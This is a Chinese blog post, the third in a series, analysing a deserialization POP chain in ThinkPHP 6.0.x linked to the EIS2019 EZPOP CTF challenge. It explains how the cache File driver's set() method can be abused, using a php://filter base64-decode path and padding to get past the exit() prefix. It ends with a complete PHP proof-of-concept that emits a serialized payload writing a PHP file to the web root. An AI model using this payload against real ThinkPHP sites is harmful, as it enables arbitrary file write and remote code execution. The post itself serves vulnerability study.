Hed9eh0g

前进的路上总是孤独的

thinkphp6.0.x 反序列化详记(三)

本文共计有3138个字

前言

第三条POP链是在第二条的基础上找的,它的应用相对于第二条比较有效,EIS2019 EZPOP就涉及到该链。

环境配置

同上文

POP链构造

在第二条链基础上,到set方法(/vendor/topthink/framework/src/think/cache/driver/File.php)中,如果我们不利用serialize来rce,后面还可以利用file_put_contents写入文件。

public function set($name, $value, $expire = null): bool
    {

        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            clearstatcache();
            return true;
        }

        return false;
    }

关注file_put_contents($filename, $data)中的两个参数:$filename$data是怎么来的。

首先$data参数的来源在第二条链分析的时候已知,可以通过$this->serialize方法(/vendor/topthink/framework/src/think/cache/Driver.php),用指定的函数名来处理json格式数据,然后拼接到:

$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

由于存在exit,因此在后面的file_put_contents($filename, $data)中的$filename要使用php://filter伪协议来绕过。

现在关注$filename参数,它来源于:

$filename = $this->getCacheKey($name);

跟进getCacheKey方法

    public function getCacheKey(string $name): string
    {
        $name = hash($this->options['hash_type'], $name);

        if ($this->options['cache_subdir']) {
            // 使用子目录
            $name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2);
        }

        if ($this->options['prefix']) {
            $name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name;
        }

        return $this->options['path'] . $name . '.php';
    }

可以控制option数组的多个键名所对应的键值:

首先通过$this->options['hash_type']来指定hash函数的加密形式作为文件名$name

然后绕过两个if判断:

$this->options['cache_subdir']=false;
$this->options['prefix']=false;

然后是直接将$this->options['path']直接拼接到文件名前面。

因此有:

$this->options['path'] = "php://filter/write=convert.base64-decode/resource=";
$this->options['hash_type'] = "md5";

最后拼接成的$filename就为:

$filename=php://filter/write=convert.base64-decode/resource=md5.php

回到set方法

上面已经把$filename$data分析完了,还要确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。

假设传入的$expire=1,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,因此可以在shell编码之后,在其前面补上3个字符用于逃逸之后的base64解码的影响。

POC代码

在第二条链的基础上增加即可:

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = "abcPD9waHAgcGhwaW5mbygpOw==";
        //shell是phpinfo();
        //在其前面随意补上三个字符
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $key = "1";
        protected $store;

        public function __construct($store="")
        {
            $this->store = $store;
        }
    }
}

namespace think\cache{
    abstract class Driver
    {
        protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
    }
}

namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver{}
}

namespace{
    $file = new think\cache\driver\File();
    $cache = new think\filesystem\CacheStore($file);
    echo urlencode(serialize($cache));
}

 ?>

由于CacheStore类中的key为1,其md5加密之后得到的值为c4ca4238a0b923820dcc509a6f75849b,因此shell文件就是index.php同目录下的c4ca4238a0b923820dcc509a6f75849b.php文件。

《thinkphp6.0.x 反序列化详记(三)》

参考文章

Somnus师傅的文章

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注